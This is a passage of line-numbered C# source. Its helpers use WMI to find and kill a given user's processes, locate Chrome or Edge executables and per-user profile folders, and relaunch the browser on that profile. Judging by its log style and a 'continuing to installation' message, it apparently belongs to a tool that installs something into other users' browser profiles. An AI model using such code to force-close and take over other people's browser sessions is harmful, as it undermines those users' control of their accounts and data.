| if (string.IsNullOrEmpty(username)) 115 | { 116 | Utils.WriteLine($"[-] Failed to get username from SID or profile path"); 117 | return false; 118 | } 119 | 120 | // Use WMI to get processes by name and owner 121 | var query = $"SELECT ProcessId, Name FROM Win32_Process WHERE Name = '{processName}.exe'"; 122 | var searcher = new ManagementObjectSearcher(query); 123 | var processes = searcher.Get(); 124 | 125 | foreach (ManagementObject process in processes) 126 | { 127 | try 128 | { 129 | var processId = Convert.ToInt32(process["ProcessId"]); 130 | 131 | // Get the owner of this process 132 | var ownerQuery = $"SELECT * FROM Win32_Process WHERE ProcessId = {processId}"; 133 | var ownerSearcher = new ManagementObjectSearcher(ownerQuery); 134 | var ownerProcesses = ownerSearcher.Get(); 135 | 136 | foreach (ManagementObject ownerProcess in ownerProcesses) 137 | { 138 | string[] ownerInfo = new string[2]; 139 | int result = Convert.ToInt32(ownerProcess.InvokeMethod("GetOwner", ownerInfo)); 140 | 141 | if (result == 0 && ownerInfo[0] != null) 142 | { 143 | var processOwner = ownerInfo[0]; 144 | if (string.Equals(processOwner, username, StringComparison.OrdinalIgnoreCase)) 145 | { 146 | Utils.WriteLine($"[+] Found {processName} process (PID: {processId}) owned by {processOwner}"); 147 | return true; 148 | } 149 | } 150 | } 151 | } 152 | catch (Exception ex) 153 | { 154 | Utils.WriteLine($"[-] Error getting owner for process: {ex.Message}"); 155 | } 156 | } 157 | 158 | Utils.WriteLine($"[+] No {processName} processes found for user '{username}'"); 159 | return false; 160 | } 161 | catch (Exception ex) 162 | { 163 | Utils.WriteLine($"[-] Error checking if {processName} is running: {ex.Message}"); 164 | return false; 165 | } 166 | } 167 | 168 | public static void CloseProcesses(string processName, string sid = null, string profilePath = null) 169 | { 170 | try 171 | { 172 | // Determine username from SID first, then fall back to profile path 173 | string username = null; 174 | 175 | if (!string.IsNullOrEmpty(sid)) 176 | { 177 | username = GetUsernameFromSid(sid); 178 | } 179 | 180 | if (string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(profilePath)) 181 | { 182 | username = GetUsernameFromProfilePath(profilePath); 183 | } 184 | 185 | if (string.IsNullOrEmpty(username)) 186 | { 187 | Utils.WriteLine($"[-] Failed to get username from SID or profile path"); 188 | return; 189 | } 190 | 191 | // Use WMI to get processes by name and owner 192 | var query = $"SELECT ProcessId, Name FROM Win32_Process WHERE Name = '{processName}.exe'"; 193 | var searcher = new ManagementObjectSearcher(query); 194 | var processes = searcher.Get(); 195 | 196 | var userProcesses = new List(); 197 | 198 | foreach (ManagementObject process in processes) 199 | { 200 | try 201 | { 202 | var processId = Convert.ToInt32(process["ProcessId"]); 203 | 204 | // Get the owner of this process 205 | var ownerQuery = $"SELECT * FROM Win32_Process WHERE ProcessId = {processId}"; 206 | var ownerSearcher = new ManagementObjectSearcher(ownerQuery); 207 | var ownerProcesses = ownerSearcher.Get(); 208 | 209 | foreach (ManagementObject ownerProcess in ownerProcesses) 210 | { 211 | string[] ownerInfo = new string[2]; 212 | int result = Convert.ToInt32(ownerProcess.InvokeMethod("GetOwner", ownerInfo)); 213 | 214 | if (result == 0 && ownerInfo[0] != null) 215 | { 216 | var processOwner = ownerInfo[0]; 217 | if (string.Equals(processOwner, username, StringComparison.OrdinalIgnoreCase)) 218 | { 219 | userProcesses.Add(processId); 220 | Utils.WriteLine($"[+] Found {processName} process (PID: {processId}) owned by {processOwner}"); 221 | } 222 | } 223 | } 224 | } 225 | catch (Exception ex) 226 | { 227 | Utils.WriteLine($"[-] Error getting owner for process: {ex.Message}"); 228 | } 229 | } 230 | 231 | if (userProcesses.Count == 0) 232 | { 233 | Utils.WriteLine($"[+] No {processName} processes found for user '{username}' - continuing to installation"); 234 | return; 235 | } 236 | 237 | Utils.WriteLine($"[+] Found {userProcesses.Count} {processName} processes to close for user '{username}'"); 238 | 239 | foreach (var processId in userProcesses) 240 | { 241 | try 242 | { 243 | var process = Process.GetProcessById(processId); 244 | Utils.WriteLine($"[+] Closing {processName} process (PID: {processId}) for user '{username}'"); 245 | process.Kill(); 246 | process.WaitForExit(100); 247 | } 248 | catch (Exception ex) 249 | { 250 | Utils.WriteLine($"[-] Failed to close {processName} process {processId}: {ex.Message}"); 251 | } 252 | } 253 | } 254 | catch (Exception ex) 255 | { 256 | Utils.WriteLine($"[-] Error closing {processName} processes: {ex.Message}"); 257 | } 258 | } 259 | 260 | public static string FindBrowserExecutablePath(string browser) 261 | { 262 | var driveLetter = Path.GetPathRoot(Environment.SystemDirectory).TrimEnd('\\'); 263 | string[] exePaths = null; 264 | 265 | if (browser.ToLower() == "chrome") 266 | { 267 | exePaths = new[] 268 | { 269 | $"{driveLetter}\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", 270 | $"{driveLetter}\\Program Files\\Google\\Chrome\\Application\\chrome.exe", 271 | //$"{driveLetter}\\Users\\{username}\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", 272 | $"{driveLetter}\\Program Files (x86)\\Google\\Application\\chrome.exe" 273 | }; 274 | } 275 | else if (browser.ToLower() == "msedge") 276 | { 277 | exePaths = new[] 278 | { 279 | $"{driveLetter}\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", 280 | $"{driveLetter}\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe", 281 | //$"{driveLetter}\\Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe" 282 | }; 283 | } 284 | else 285 | { 286 | Utils.WriteLine($"[-] Browser '{browser}' not supported"); 287 | return null; 288 | } 289 | 290 | foreach (var exePath in exePaths) 291 | { 292 | if (File.Exists(exePath)) 293 | { 294 | Utils.WriteLine($"[+] Found {browser} executable: {exePath}"); 295 | return exePath; 296 | } 297 | } 298 | 299 | Utils.WriteLine($"[-] {browser} executable not found in common locations"); 300 | return null; 301 | } 302 | 303 | public static string FindBrowserUserDataDir(string profilePath, string browser) 304 | { 305 | var driveLetter = Path.GetPathRoot(Environment.SystemDirectory).TrimEnd('\\'); 306 | 307 | string userDataDir = null; 308 | if (browser.ToLower() == "chrome") 309 | { 310 | userDataDir = Path.Combine(profilePath, @"AppData\Local\Google\Chrome\User Data"); 311 | } 312 | else if (browser.ToLower() == "msedge") 313 | { 314 | userDataDir = Path.Combine(profilePath, @"AppData\Local\Microsoft\Edge\User Data"); 315 | } 316 | else 317 | { 318 | Utils.WriteLine($"[-] Cannot find user data for {browser}. Not supported."); 319 | } 320 | 321 | if (Directory.Exists(userDataDir)) 322 | { 323 | Utils.WriteLine($"[+] Found Browser User Data directory: {userDataDir}"); 324 | return userDataDir; 325 | } 326 | 327 | Utils.WriteLine($"[-] Browser User Data directory not found: {userDataDir}"); 328 | return null; 329 | } 330 | 331 | public static void RestartBrowser(string exePath, string userDataDir) 332 | { 333 | try 334 | { 335 | if (string.IsNullOrEmpty(exePath) || !File.Exists(exePath)) 336 | { 337 | Utils.WriteLine("[-] Browser executable path is invalid"); 338 | return; 339 | } 340 | 341 | // 06/30: Removed --keep-alive-for-test for now 342 | var arguments = $"--user-data-dir=\"{userDataDir}\" --restore-last-session"; 343 | 344 | Utils.WriteLine($"[+] Starting Browser with arguments: {arguments}"); 345 | 346 | var startInfo = new ProcessStartInfo 347 | { 348 | FileName = exePath, 349 | Arguments = arguments, 350 | UseShellExecute = false, 351 | CreateNoWindow = false 352 | }; 353 | 354 | var process = Process.Start(startInfo); 355 | Utils.WriteLine($"[+] Browser started with PID: {process?.Id}"); 356 | } 357 | catch (Exception ex) 358 | { 359 | Utils.WriteLine($"[-] Failed to start Browser: {ex.Message}"); 360 | } 361 | } 362 | } 363 | } --------------------------------------------------------------------------------